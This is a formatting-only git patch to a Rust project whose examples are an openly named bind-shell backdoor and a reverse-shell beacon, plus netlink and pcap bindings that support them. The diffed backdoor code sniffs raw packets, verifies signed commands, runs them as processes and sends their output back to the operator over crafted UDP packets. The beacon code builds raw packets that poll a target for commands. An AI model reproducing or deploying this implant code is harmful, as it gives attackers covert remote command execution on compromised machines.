From 978d7cb089b7fd5c9ed946667c351f6e517255c0 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Thu, 4 May 2023 00:47:20 -0400 Subject: [PATCH] chore: run cargo fmt --- examples/bind-shell/backdoor/src/main.rs | 56 +++--- examples/bind-shell/client/src/main.rs | 2 +- examples/reverse-shell/beacon/src/main.rs | 27 +-- nl-sys/build.rs | 16 +- nl-sys/src/error.rs | 10 +- nl-sys/src/lib.rs | 14 +- nl-sys/src/netlink.rs | 46 ++--- nl-sys/src/nl_ffi.rs | 35 +++- nl-sys/src/route.rs | 204 ++++++++++++---------- pcap-sys/build.rs | 8 +- pcap-sys/src/error.rs | 23 ++- pcap-sys/src/ffi.rs | 6 +- pcap-sys/src/lib.rs | 133 +++++++------- pcap-sys/src/packets.rs | 6 +- 14 files changed, 317 insertions(+), 269 deletions(-) diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index a6240ff..4bb2bfb 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -1,12 +1,12 @@ -use std::process::Stdio; -use std::{sync::Arc, ffi::OsStr}; use std::os::unix::ffi::OsStrExt; +use std::process::Stdio; +use std::{ffi::OsStr, sync::Arc}; -use tokio::{self, sync::mpsc, process, io::AsyncReadExt}; -use tokio_stream::StreamExt; +use anyhow::{anyhow, bail, Context}; +use ed25519_dalek::{PublicKey, Signature, Verifier}; use pcap_sys::{self, packets::EthernetPacket}; -use anyhow::{Context, anyhow, bail}; -use ed25519_dalek::{PublicKey, Verifier, Signature}; +use tokio::{self, io::AsyncReadExt, process, sync::mpsc}; +use tokio_stream::StreamExt; const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey"); @@ -14,7 +14,8 @@ const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey"); async fn main() -> anyhow::Result<()> { simple_logger::SimpleLogger::new().init()?; - let pubkey = Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?); + let pubkey = + Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?); log::info!("Pubkey is good"); @@ -41,7 +42,7 @@ async fn main() -> anyhow::Result<()> { enum EventType { Packet(Result), - Send(EthernetPacket) + Send(EthernetPacket), } let mut packets = interface.stream()?; @@ -57,7 +58,8 @@ async fn main() -> anyhow::Result<()> { let packet_sender_clone = packet_sender.clone(); let pubkey_clone = pubkey.clone(); tokio::spawn(async move { - if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await { + if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await + { log::warn!("Error handling packet: {e}"); } }); @@ -75,7 +77,7 @@ async fn main() -> anyhow::Result<()> { async fn handle_command( pubkey: Arc, eth: EthernetPacket, - send_response: mpsc::Sender + send_response: mpsc::Sender, ) -> anyhow::Result<()> { use pcap_sys::packets::*; let eth_pkt = eth.pkt(); @@ -96,7 +98,9 @@ async fn handle_command( let cmd = &data[64..]; - pubkey.verify(cmd, &signature).context("message provided was unauthenticated")?; + pubkey + .verify(cmd, &signature) + .context("message provided was unauthenticated")?; let cmd = OsStr::from_bytes(cmd); @@ -110,12 +114,16 @@ async fn handle_command( .stderr(Stdio::piped()) .spawn()?; - let mut stdout = child.stdout.ok_or(anyhow!("could not get child process stdout"))?; - let mut stderr = child.stderr.ok_or(anyhow!("could not get child process stdout"))?; + let mut stdout = child + .stdout + .ok_or(anyhow!("could not get child process stdout"))?; + let mut stderr = child + .stderr + .ok_or(anyhow!("could not get child process stdout"))?; enum Output { Out, - Err + Err, } let mut stdout_buffer = [0u8; 1024]; @@ -133,17 +141,25 @@ async fn handle_command( let msg = &match out_type { Output::Err => stderr_buffer, - Output::Out => stdout_buffer + Output::Out => stdout_buffer, }[..len]; let port = match out_type { Output::Err => 54249, - Output::Out => 54248 + Output::Out => 54248, }; let udp_packet = UDPPacket::construct(54248, port, msg); - let ip_packet = IPv4Packet::construct(ip_pkt.dest_ip(), ip_pkt.source_ip(), &Layer4Packet::UDP(udp_packet)); - let eth_packet = EthernetPacket::construct(*eth_pkt.destination_address(), *eth_pkt.source_address(), &Layer3Packet::IPv4(ip_packet)); - + let ip_packet = IPv4Packet::construct( + ip_pkt.dest_ip(), + ip_pkt.source_ip(), + &Layer4Packet::UDP(udp_packet), + ); + let eth_packet = EthernetPacket::construct( + *eth_pkt.destination_address(), + *eth_pkt.source_address(), + &Layer3Packet::IPv4(ip_packet), + ); + if let Err(e) = send_response.send(eth_packet).await { log::warn!("Could not send response packet: {e:?}"); } @@ -152,4 +168,4 @@ async fn handle_command( log::info!("Done executing command {cmd:?}"); Ok(()) -} \ No newline at end of file +} diff --git a/examples/bind-shell/client/src/main.rs b/examples/bind-shell/client/src/main.rs index 6a65b16..d2c27bd 100644 --- a/examples/bind-shell/client/src/main.rs +++ b/examples/bind-shell/client/src/main.rs @@ -1,7 +1,7 @@ use std::{io::prelude::*, net::UdpSocket, thread}; -use ed25519_dalek::{Keypair, Signer}; use anyhow::{anyhow, Context}; +use ed25519_dalek::{Keypair, Signer}; const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey"); const PRIVKEY: &[u8] = include_bytes!("../../key-generator/privkey"); diff --git a/examples/reverse-shell/beacon/src/main.rs b/examples/reverse-shell/beacon/src/main.rs index 05ed588..6c148d5 100644 --- a/examples/reverse-shell/beacon/src/main.rs +++ b/examples/reverse-shell/beacon/src/main.rs @@ -1,7 +1,7 @@ -use std::{io::prelude::*, net::Ipv4Addr, collections::HashMap}; +use std::{collections::HashMap, io::prelude::*, net::Ipv4Addr}; use anyhow::anyhow; -use tokio::time::{Duration, interval}; +use tokio::time::{interval, Duration}; use tokio_stream::StreamExt; use nl_sys::{netlink, route}; @@ -26,15 +26,17 @@ async fn main() -> anyhow::Result<()> { let addrs = socket.get_addrs()?; routes_inner.sort_by(|r1, r2| { - r2.dst().map(|a| a.cidrlen()) + r2.dst() + .map(|a| a.cidrlen()) .partial_cmp(&r1.dst().map(|a| a.cidrlen())) .unwrap_or(std::cmp::Ordering::Equal) }); - let (ifname, srcip, srcmac, dstmac) = route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target) - .ok_or(anyhow!("unable to find a route to the IP"))?; + let (ifname, srcip, srcmac, dstmac) = + route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, target) + .ok_or(anyhow!("unable to find a route to the IP"))?; - ( ifname, srcmac, dstmac, srcip ) + (ifname, srcmac, dstmac, srcip) }; let mut interface = pcap_sys::new_aggregate_interface(false)?; @@ -43,7 +45,7 @@ async fn main() -> anyhow::Result<()> { interface.set_non_blocking(true)?; interface.set_promisc(false)?; interface.set_timeout(10)?; - + let mut interface = interface.activate()?; interface.set_filter("inbound and udp port 54248", true, None)?; @@ -52,7 +54,7 @@ async fn main() -> anyhow::Result<()> { enum EventType { Packet((String, Result)), - Update + Update, } let mut packets = interface.stream()?; @@ -86,9 +88,12 @@ async fn main() -> anyhow::Result<()> { current_packet_id += 1; sent_updates.insert(current_packet_id, false); - let udp_packet = UDPPacket::construct(54248, 54248, current_packet_id.to_be_bytes().to_vec()); - let ip_packet = IPv4Packet::construct(srcip, target, &Layer4Packet::UDP(udp_packet)); - let eth_packet = EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ip_packet)); + let udp_packet = + UDPPacket::construct(54248, 54248, current_packet_id.to_be_bytes().to_vec()); + let ip_packet = + IPv4Packet::construct(srcip, target, &Layer4Packet::UDP(udp_packet)); + let eth_packet = + EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ip_packet)); packets.sendpacket(&ifname, eth_packet.pkt())?; } diff --git a/nl-sys/build.rs b/nl-sys/build.rs index 374ace9..e1e1361 100644 --- a/nl-sys/build.rs +++ b/nl-sys/build.rs @@ -1,28 +1,24 @@ // Copyright (C) 2023 Andrew Rioux -// +// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. -// +// // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. -// +// // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see . fn main() { - cc::Build::new() - .file("src/bridge.c") - .compile("bridge"); + cc::Build::new().file("src/bridge.c").compile("bridge"); - let dst = autotools::Config::new("libnl") - .reconf("-vi") - .build(); + let dst = autotools::Config::new("libnl").reconf("-vi").build(); println!("cargo:rustc-link-search=native={}/lib", dst.display()); println!("cargo:rustc-link-lib=static=nl-3"); println!("cargo:rustc-link-lib=static=nl-route-3"); -} \ No newline at end of file +} diff --git a/nl-sys/src/error.rs b/nl-sys/src/error.rs index 3215f7c..cd54973 100644 --- a/nl-sys/src/error.rs +++ b/nl-sys/src/error.rs @@ -1,19 +1,19 @@ // Copyright (C) 2023 Andrew Rioux -// +// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. -// +// // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. -// +// // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see . -use std::{fmt::Display, ffi::CStr}; +use std::{ffi::CStr, fmt::Display}; use libc::c_int; @@ -45,4 +45,4 @@ impl Display for Error { impl std::error::Error for Error {} -pub type Result = std::result::Result; \ No newline at end of file +pub type Result = std::result::Result; diff --git a/nl-sys/src/lib.rs b/nl-sys/src/lib.rs index e8bcda8..12b1cdc 100644 --- a/nl-sys/src/lib.rs +++ b/nl-sys/src/lib.rs @@ -1,22 +1,22 @@ // Copyright (C) 2023 Andrew Rioux -// +// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. -// +// // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. -// +// // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see . -pub mod nl_ffi; -pub mod netlink; -pub mod route; pub mod error; +pub mod netlink; +pub mod nl_ffi; +pub mod route; // from bridge.c extern "C" { @@ -92,4 +92,4 @@ extern "C" { } Ok(()) -} */ \ No newline at end of file +} */ diff --git a/nl-sys/src/netlink.rs b/nl-sys/src/netlink.rs index 4508f4d..8754f4b 100644 --- a/nl-sys/src/netlink.rs +++ b/nl-sys/src/netlink.rs @@ -1,34 +1,40 @@ // Copyright (C) 2023 Andrew Rioux -// +// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. -// +// // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. -// +// // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see . -use std::{ptr, marker::PhantomData}; +use std::{marker::PhantomData, ptr}; -use libc::{AF_UNSPEC, AF_INET}; +use libc::{AF_INET, AF_UNSPEC}; -use crate::{nl_ffi::*, error, route::{Link, Neigh, Route, RtAddr}}; +use crate::{ + error, + nl_ffi::*, + route::{Link, Neigh, Route, RtAddr}, +}; /// A netlink socket used to communicate with the kernel pub struct Socket { - pub(crate) sock: *mut nl_sock + pub(crate) sock: *mut nl_sock, } impl Socket { /// Establish a new connection with the Linux kernel pub fn new() -> error::Result { unsafe { - let sock = Socket { sock: nl_socket_alloc() }; + let sock = Socket { + sock: nl_socket_alloc(), + }; let ret = nl_connect(sock.sock, crate::netlink_route()); if ret < 0 { @@ -51,7 +57,7 @@ impl Socket { Ok(Cache { cache: link_cache, - dt: PhantomData + dt: PhantomData, }) } } @@ -68,7 +74,7 @@ impl Socket { Ok(Cache { cache: neigh_cache, - dt: PhantomData + dt: PhantomData, }) } } @@ -76,7 +82,7 @@ impl Socket { pub fn get_routes(&self) -> error::Result> { unsafe { let mut route_cache = ptr::null_mut::(); - + let ret = rtnl_route_alloc_cache(self.sock, AF_INET, 0, &mut route_cache as *mut _); if ret < 0 { @@ -85,7 +91,7 @@ impl Socket { Ok(Cache { cache: route_cache, - dt: PhantomData + dt: PhantomData, }) } } @@ -93,7 +99,7 @@ impl Socket { pub fn get_addrs(&self) -> error::Result> { unsafe { let mut addr_cache = ptr::null_mut::(); - + let ret = rtnl_addr_alloc_cache(self.sock, &mut addr_cache as *mut _); if ret < 0 { @@ -102,7 +108,7 @@ impl Socket { Ok(Cache { cache: addr_cache, - dt: PhantomData + dt: PhantomData, }) } } @@ -133,23 +139,21 @@ pub fn get_link_by_index(cache: &Cache, index: i32) -> Option { /// collection of nl_objects pub struct Cache where - T: From<*mut nl_object> + T: From<*mut nl_object>, { pub(crate) cache: *mut nl_cache, - dt: PhantomData + dt: PhantomData, } impl> Cache { pub fn iter(&self) -> CacheIter<'_, T> { - let cache_size = unsafe { - nl_cache_nitems(self.cache) - } as usize; + let cache_size = unsafe { nl_cache_nitems(self.cache) } as usize; CacheIter { obj: unsafe { nl_cache_get_first(self.cache) }, cache_size, index: 0, - item_type: PhantomData {} + item_type: PhantomData {}, } } } @@ -182,7 +186,7 @@ impl> Iterator for CacheIter<'_, T> { let obj = self.obj; self.obj = unsafe { nl_cache_get_next(obj) }; - + Some(T::from(obj)) } diff --git a/nl-sys/src/nl_ffi.rs b/nl-sys/src/nl_ffi.rs index 7802822..fbb362d 100644 --- a/nl-sys/src/nl_ffi.rs +++ b/nl-sys/src/nl_ffi.rs @@ -1,19 +1,19 @@ // Copyright (C) 2023 Andrew Rioux -// +// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. -// +// // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. -// +// // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see . -use libc::{c_int, c_void, c_char, c_uint}; +use libc::{c_char, c_int, c_uint, c_void}; macro_rules! nl_obj { ($name:ident) => { @@ -23,7 +23,7 @@ macro_rules! nl_obj { _data: [u8; 0], _marker: core::marker::PhantomData<(*mut u8, core::marker::PhantomPinned)>, } - } + }; } nl_obj!(nl_sock); @@ -56,7 +56,11 @@ extern "C" { pub fn nl_addr_get_family(addr: *mut nl_addr) -> c_int; pub fn nl_addr_get_prefixlen(addr: *mut nl_addr) -> c_uint; - pub fn nl_cache_foreach(cache: *mut nl_cache, cb: extern "C" fn(*mut nl_object, *mut c_void), arg: *mut c_void) -> c_void; + pub fn nl_cache_foreach( + cache: *mut nl_cache, + cb: extern "C" fn(*mut nl_object, *mut c_void), + arg: *mut c_void, + ) -> c_void; pub fn nl_cache_put(cache: *mut nl_cache) -> c_void; pub fn nl_cache_nitems(cache: *mut nl_cache) -> c_int; pub fn nl_cache_get_first(cache: *mut nl_cache) -> *mut nl_object; @@ -69,19 +73,32 @@ extern "C" { pub fn rtnl_addr_get_local(addr: *mut rtnl_addr) -> *mut nl_addr; pub fn rtnl_neigh_alloc_cache(sock: *mut nl_sock, result: *mut *mut nl_cache) -> c_int; - pub fn rtnl_neigh_get(cache: *mut nl_cache, ifindex: c_int, dst: *mut nl_addr) -> *mut rtnl_neigh; + pub fn rtnl_neigh_get( + cache: *mut nl_cache, + ifindex: c_int, + dst: *mut nl_addr, + ) -> *mut rtnl_neigh; pub fn rtnl_neigh_get_dst(neigh: *mut rtnl_neigh) -> *mut nl_addr; pub fn rtnl_neigh_get_lladdr(neigh: *mut rtnl_neigh) -> *mut nl_addr; pub fn rtnl_neigh_get_ifindex(neigh: *mut rtnl_neigh) -> c_int; pub fn rtnl_link_get(cache: *mut nl_cache, index: c_int) -> *mut rtnl_link; - pub fn rtnl_link_alloc_cache(sock: *mut nl_sock, family: c_int, result: *mut *mut nl_cache) -> c_int; + pub fn rtnl_link_alloc_cache( + sock: *mut nl_sock, + family: c_int, + result: *mut *mut nl_cache, + ) -> c_int; pub fn rtnl_link_get_addr(link: *mut rtnl_link) -> *mut nl_addr; pub fn rtnl_link_get_name(link: *mut rtnl_link) -> *const c_char; pub fn rtnl_link_get_ifindex(link: *mut rtnl_link) -> c_int; pub fn rtnl_link_get_type(link: *mut rtnl_link) -> *const c_char; - pub fn rtnl_route_alloc_cache(sock: *mut nl_sock, family: c_int, flags: c_int, result: *mut *mut nl_cache) -> c_int; + pub fn rtnl_route_alloc_cache( + sock: *mut nl_sock, + family: c_int, + flags: c_int, + result: *mut *mut nl_cache, + ) -> c_int; pub fn rtnl_route_get_src(route: *mut rtnl_route) -> *mut nl_addr; pub fn rtnl_route_get_dst(route: *mut rtnl_route) -> *mut nl_addr; pub fn rtnl_route_get_iif(route: *mut rtnl_route) -> c_int; diff --git a/nl-sys/src/route.rs b/nl-sys/src/route.rs index 3593a6f..e3c488e 100644 --- a/nl-sys/src/route.rs +++ b/nl-sys/src/route.rs @@ -1,29 +1,36 @@ // Copyright (C) 2023 Andrew Rioux -// +// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. -// +// // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. -// +// // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see . -use std::{ffi::{CStr, CString}, net::Ipv4Addr, fmt::Debug}; +use std::{ + ffi::{CStr, CString}, + fmt::Debug, + net::Ipv4Addr, +}; -use libc::{c_int, AF_INET, c_uint}; +use libc::{c_int, c_uint, AF_INET}; -use crate::{error, netlink::{Cache, self}}; +use crate::{ + error, + netlink::{self, Cache}, +}; use super::nl_ffi::*; /// Represents an address assigned to a link pub struct RtAddr { - addr: *mut rtnl_addr + addr: *mut rtnl_addr, } impl RtAddr { @@ -50,14 +57,15 @@ impl RtAddr { impl From<*mut nl_object> for RtAddr { fn from(value: *mut nl_object) -> Self { - RtAddr { addr: value as *mut _ } + RtAddr { + addr: value as *mut _, + } } } - /// Represents a network link, which can represent a network device pub struct Link { - pub(crate) link: *mut rtnl_link + pub(crate) link: *mut rtnl_link, } impl Link { @@ -74,7 +82,9 @@ impl Link { /// representing MAC addresses or IP addresses pub fn addr(&self) -> Addr { unsafe { - Addr { addr: rtnl_link_get_addr(self.link) } + Addr { + addr: rtnl_link_get_addr(self.link), + } } } @@ -92,9 +102,7 @@ impl Link { /// Determines the index of the interface in the kernel table pub fn ifindex(&self) -> c_int { - unsafe { - rtnl_link_get_ifindex(self.link) - } + unsafe { rtnl_link_get_ifindex(self.link) } } /// Tries to get the neighbor for this link, which can provide the destination address and the @@ -103,7 +111,7 @@ impl Link { unsafe { let neigh = rtnl_neigh_get(neigh_table.cache, self.ifindex(), addr.addr); - if neigh.is_null() { + if neigh.is_null() { return None; } @@ -114,74 +122,77 @@ impl Link { impl Debug for Link { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { - f - .debug_struct("Link") - .field("name", &self.name()) - .finish() + f.debug_struct("Link").field("name", &self.name()).finish() } } impl From<*mut nl_object> for Link { fn from(value: *mut nl_object) -> Self { Self { - link: value as *mut _ + link: value as *mut _, } } } -pub fn get_macs_and_src_for_ip(addrs: &Cache, routes: &Cache, neighs: &Cache, links: &Cache, addr: Ipv4Addr) -> Option<(String, Ipv4Addr, [u8; 6], [u8; 6])> { +pub fn get_macs_and_src_for_ip( + addrs: &Cache, + routes: &Cache, + neighs: &Cache, + links: &Cache, + addr: Ipv4Addr, +) -> Option<(String, Ipv4Addr, [u8; 6], [u8; 6])> { let mut sorted_routes = routes.iter().collect::>(); sorted_routes.sort_by(|r1, r2| { - r2.dst().map(|a| a.cidrlen()) + r2.dst() + .map(|a| a.cidrlen()) .partial_cmp(&r1.dst().map(|a| a.cidrlen())) .unwrap_or(std::cmp::Ordering::Equal) }); let ip_int = u32::from(addr); - let route = sorted_routes - .iter() - .find(|route| { - let Some(dst) = route.dst() else { return false }; + let route = sorted_routes.iter().find(|route| { + let Some(dst) = route.dst() else { return false }; - let mask = if dst.cidrlen() != 0 { - (0xFFFFFFFFu32.overflowing_shr(32 - dst.cidrlen())).0.overflowing_shl(32 - dst.cidrlen()).0 - } else { - 0 - }; + let mask = if dst.cidrlen() != 0 { + (0xFFFFFFFFu32.overflowing_shr(32 - dst.cidrlen())) + .0 + .overflowing_shl(32 - dst.cidrlen()) + .0 + } else { + 0 + }; - let Ok(dst_addr): Result = (&dst).try_into() else { return false }; - let dst_addr: u32 = dst_addr.into(); + let Ok(dst_addr): Result = (&dst).try_into() else { return false }; + let dst_addr: u32 = dst_addr.into(); - (mask & dst_addr) == (mask & ip_int) - })?; + (mask & dst_addr) == (mask & ip_int) + })?; - let link_ind = route - .hop_iter() - .next()? - .ifindex(); + let link_ind = route.hop_iter().next()?.ifindex(); let link = netlink::get_link_by_index(links, link_ind)?; - let neigh = neighs - .iter() - .find(|n| n.ifindex() == link.ifindex())?; + let neigh = neighs.iter().find(|n| n.ifindex() == link.ifindex())?; - let srcip = addrs - .iter() - .find(|a| a.ifindex() == link.ifindex())?; + let srcip = addrs.iter().find(|a| a.ifindex() == link.ifindex())?; Some(( link.name(), (&srcip.local()?).try_into().ok()?, link.addr().hw_address().try_into().ok()?, - neigh.lladdr().hw_address().try_into().ok()? + neigh.lladdr().hw_address().try_into().ok()?, )) } /// Gets the neighbor record for the source IP specified, or get the default address -pub fn get_neigh_for_addr(routes: &Cache, neighs: &Cache, links: &Cache, addr: &Addr) -> Option<(Ipv4Addr, Link, [u8; 6])> { +pub fn get_neigh_for_addr( + routes: &Cache, + neighs: &Cache, + links: &Cache, + addr: &Addr, +) -> Option<(Ipv4Addr, Link, [u8; 6])> { for link in links.iter() { let Some(neigh) = link.get_neigh(&neighs, addr) else { continue; }; return Some((addr.try_into().ok()?, link, neigh)); @@ -207,8 +218,9 @@ pub fn get_neigh_for_addr(routes: &Cache, neighs: &Cache, links: & Some(((&first_hop.gateway()?).try_into().ok()?, link, n.lladdr())) }) - .next() { - return Some((laddr, link, neigh.hw_address().try_into().ok()?)) + .next() + { + return Some((laddr, link, neigh.hw_address().try_into().ok()?)); } } @@ -219,17 +231,12 @@ pub fn get_neigh_for_addr(routes: &Cache, neighs: &Cache, links: & pub fn get_default_route(routes: &Cache) -> Option { routes .iter() - .find(|r| - r - .dst() - .map(|a| a.cidrlen()) - .unwrap_or(33) == 0 - ) + .find(|r| r.dst().map(|a| a.cidrlen()).unwrap_or(33) == 0) } /// A struct representing the neighbor of a link pub struct Neigh { - neigh: *mut rtnl_neigh + neigh: *mut rtnl_neigh, } impl Neigh { @@ -250,16 +257,14 @@ impl Neigh { } pub fn ifindex(&self) -> i32 { - unsafe { - rtnl_neigh_get_ifindex(self.neigh) - } + unsafe { rtnl_neigh_get_ifindex(self.neigh) } } } impl From<*mut nl_object> for Neigh { fn from(value: *mut nl_object) -> Self { Self { - neigh: value as *mut _ + neigh: value as *mut _, } } } @@ -267,15 +272,13 @@ impl From<*mut nl_object> for Neigh { /// Represents "an address" /// IPv4? IPv6? MAC? Whatever the "any" or "lo" devices use? Yes! pub struct Addr { - addr: *mut nl_addr + addr: *mut nl_addr, } impl Addr { /// Returns the number of bytes that are in the address pub fn len(&self) -> u32 { - unsafe { - nl_addr_get_len(self.addr) - } + unsafe { nl_addr_get_len(self.addr) } } /// Returns the address, which can be interpreted based on the results of [`Addr::atype`] @@ -290,16 +293,12 @@ impl Addr { // Determines the type of data in [`Addr::hw_address`] pub fn atype(&self) -> c_int { - unsafe { - nl_addr_get_family(self.addr) - } + unsafe { nl_addr_get_family(self.addr) } } /// Returns the length of the subnet mask applying to this address pub fn cidrlen(&self) -> c_uint { - unsafe { - nl_addr_get_prefixlen(self.addr) - } + unsafe { nl_addr_get_prefixlen(self.addr) } } } @@ -308,18 +307,25 @@ impl Debug for Addr { match self.atype() { AF_INET => { let octets = self.hw_address(); - f - .debug_struct("Addr") - .field("addr", &format!("{}.{}.{}.{}/{}", octets[0], octets[1], octets[2], octets[3], self.cidrlen())) - .finish() - }, - _ => { - f - .debug_struct("Addr") - .field("addr", &self.hw_address()) - .field("atype", &self.atype()) + f.debug_struct("Addr") + .field( + "addr", + &format!( + "{}.{}.{}.{}/{}", + octets[0], + octets[1], + octets[2], + octets[3], + self.cidrlen() + ), + ) .finish() } + _ => f + .debug_struct("Addr") + .field("addr", &self.hw_address()) + .field("atype", &self.atype()) + .finish(), } } } @@ -353,7 +359,7 @@ impl TryFrom<&Addr> for Ipv4Addr { /// Represents a route in the kernel routing table pub struct Route { - route: *mut rtnl_route + route: *mut rtnl_route, } impl Route { @@ -385,9 +391,7 @@ impl Route { /// Returns the amount of hops are in this route pub fn nexthop_len(&self) -> c_int { - unsafe { - rtnl_route_get_nnexthops(self.route) - } + unsafe { rtnl_route_get_nnexthops(self.route) } } /// Gets the hop at the index specify @@ -403,21 +407,24 @@ impl Route { /// Returns an iterator representing all the hops for this route pub fn hop_iter(&self) -> NexthopIter<'_> { - NexthopIter { route: &self, index: 0 } + NexthopIter { + route: &self, + index: 0, + } } } impl From<*mut nl_object> for Route { fn from(value: *mut nl_object) -> Self { Route { - route: value as *mut _ + route: value as *mut _, } } } /// Represents the hops of a network route pub struct Nexthop { - nexthop: *mut rtnl_nexthop + nexthop: *mut rtnl_nexthop, } impl Nexthop { @@ -425,7 +432,7 @@ impl Nexthop { pub fn gateway(&self) -> Option { unsafe { let addr = rtnl_route_nh_get_gateway(self.nexthop); - + if addr.is_null() { return None; } @@ -436,16 +443,14 @@ impl Nexthop { /// Returns the interface index for this network hop pub fn ifindex(&self) -> i32 { - unsafe { - rtnl_route_nh_get_ifindex(self.nexthop) - } + unsafe { rtnl_route_nh_get_ifindex(self.nexthop) } } } /// An iterator for working with route hops pub struct NexthopIter<'a> { route: &'a Route, - index: i32 + index: i32, } impl Iterator for NexthopIter<'_> { @@ -464,7 +469,10 @@ impl Iterator for NexthopIter<'_> { } fn size_hint(&self) -> (usize, Option) { - (self.route.nexthop_len() as usize, Some(self.route.nexthop_len() as usize)) + ( + self.route.nexthop_len() as usize, + Some(self.route.nexthop_len() as usize), + ) } } @@ -473,7 +481,8 @@ pub fn get_srcip_for_dstip(routes: &Cache, ip: Ipv4Addr) -> Option>(); sorted_routes.sort_by(|r1, r2| { - r2.dst().map(|a| a.cidrlen()) + r2.dst() + .map(|a| a.cidrlen()) .partial_cmp(&r1.dst().map(|a| a.cidrlen())) .unwrap_or(std::cmp::Ordering::Equal) }); @@ -486,7 +495,10 @@ pub fn get_srcip_for_dstip(routes: &Cache, ip: Ipv4Addr) -> Option, ip: Ipv4Addr) -> Option. @@ -33,4 +33,4 @@ fn main() { // panic!("hahahahah test {}", dst.display()); println!("cargo:rustc-link-search=native={}/lib", dst.display()); println!("cargo:rustc-link-lib=static=pcap"); -} \ No newline at end of file +} diff --git a/pcap-sys/src/error.rs b/pcap-sys/src/error.rs index e0a21fb..c978c9c 100644 --- a/pcap-sys/src/error.rs +++ b/pcap-sys/src/error.rs @@ -1,22 +1,24 @@ // Copyright (C) 2023 Andrew Rioux -// +// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. -// +// // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. -// +// // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see . use errno::Errno; use std::{ convert::From, - ffi::{self, CStr, CString}, fmt::Display, error, + error, + ffi::{self, CStr, CString}, + fmt::Display, }; #[derive(Debug)] @@ -42,17 +44,20 @@ impl Display for Error { } write!(f, "unknown pcap error") - }, + } Error::PcapErrorIf(ifname, err) => { if let Ok(err_str) = std::str::from_utf8(err.as_bytes()) { return write!(f, "pcap error on interface {ifname}: {err_str}"); } write!(f, "unknown pcap error with interface {ifname}") - }, + } Error::StringParse => write!(f, "unable to parse a string from pcap"), Error::UnknownPacketType(ptype) => write!(f, "unknown packet type ({ptype})"), - Error::PacketLengthInvalid => write!(f, "received a packet with a length that mismatched the header"), + Error::PacketLengthInvalid => write!( + f, + "received a packet with a length that mismatched the header" + ), Error::InvalidPcapFd => write!(f, "internal pcap file descriptor error"), Error::Io(io) => write!(f, "std::io error ({io})"), Error::Libc(err) => write!(f, "libc error ({err})"), @@ -64,7 +69,7 @@ impl Error { pub fn add_ifname(self, ifname: &str) -> Self { match self { Error::PcapError(err) => Error::PcapErrorIf(ifname.to_string(), err), - other => other + other => other, } } } @@ -74,7 +79,7 @@ impl error::Error for Error { match self { Error::Io(err) => Some(err), Error::Libc(err) => Some(err), - _ => None + _ => None, } } } diff --git a/pcap-sys/src/ffi.rs b/pcap-sys/src/ffi.rs index 4c050a8..bb406e0 100644 --- a/pcap-sys/src/ffi.rs +++ b/pcap-sys/src/ffi.rs @@ -1,15 +1,15 @@ // Copyright (C) 2023 Andrew Rioux -// +// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. -// +// // This program is distributed in the hope that it will be 